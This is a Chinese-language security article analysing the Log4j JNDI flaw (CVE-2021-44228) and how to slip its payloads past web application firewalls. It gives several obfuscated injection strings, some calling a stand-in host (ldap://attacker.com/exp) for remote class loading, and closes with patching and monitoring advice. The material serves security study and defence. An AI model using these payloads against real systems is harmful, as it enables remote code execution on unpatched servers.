Log4j WAF Bypass 技巧详细分析+总结
字数 875 2025-08-29 08:29:58
Log4j WAF Bypass 技巧详细分析与总结
前言
Log4j漏洞(CVE-2021-44228)虽然是一个历史漏洞,但其WAF绕过技术仍然具有重要的研究价值。这个"核弹级"漏洞在没有完善防护的情况下,仍存在多种绕过手法值得探索。
漏洞原理分析
关键组件
- MessagePatternConverter:负责处理输入数据的转换器
- JndiLookup:实现JNDI功能的类,包含远程类加载的核心逻辑
漏洞触发流程
- 输入数据经过多个转换器处理
- 系统识别特殊标识符(如
jndi、{}) - 在
substitute方法中提取并处理这些标识符 - 通过
resolveVariable方法解析变量 - 最终调用
JndiLookup.lookup()实现远程类加载
常见WAF防护方法
大多数WAF会拦截包含以下关键字符的请求:
jndiladprmihttp等协议标识
WAF绕过技巧
1. 环境变量绕过
利用Log4j的环境变量查找功能:
${env:NOT_EXIST:-j}${env:NOT_EXIST:-n}${env:NOT_EXIST:-d}${env:NOT_EXIST:-i}:...
原理:
- 当环境变量不存在时返回默认值
- 通过多个不存在的环境变量拼接出
jndi等关键词
2. 大小写变形
-
全大写绕过:
${${upper:jndi}:ldap://attacker.com/exp} -
部分大写:
${jN${lower:d}i:ldap://attacker.com/exp}
注意:
ldap协议名必须小写- 某些WAF对Unicode大写字符识别不完善
3. 前置符干扰
在关键词中插入无效字符:
${jnd${::-i}:ldap://attacker.com/exp}
${${::-j}${::-n}${::-d}${::-i}:...}
原理:
- WAF无法识别带干扰符的标签
- Log4j会忽略无效字符并正确解析
4. 系统属性绕过
利用sys:查找系统属性:
${sys:NOT_EXIST:-j}${sys:NOT_EXIST:-n}${sys:NOT_EXIST:-d}${sys:NOT_EXIST:-i}:...
5. 日期标签绕过
利用date:标签构造payload:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:...}
防御建议
- 升级至Log4j 2.17.0及以上版本
- 设置
log4j2.formatMsgNoLookups=true - 实施多层WAF规则:
- 拦截各种大小写变形
- 检测环境变量和系统属性滥用
- 监控异常DNS查询和LDAP请求
- 限制出站网络连接
总结
Log4j漏洞的WAF绕过技术主要利用:
- Log4j强大的变量解析功能
- WAF规则与Log4j解析逻辑的差异
- 多种上下文查找机制的滥用
防御需要结合补丁更新、规则优化和网络监控等多重措施。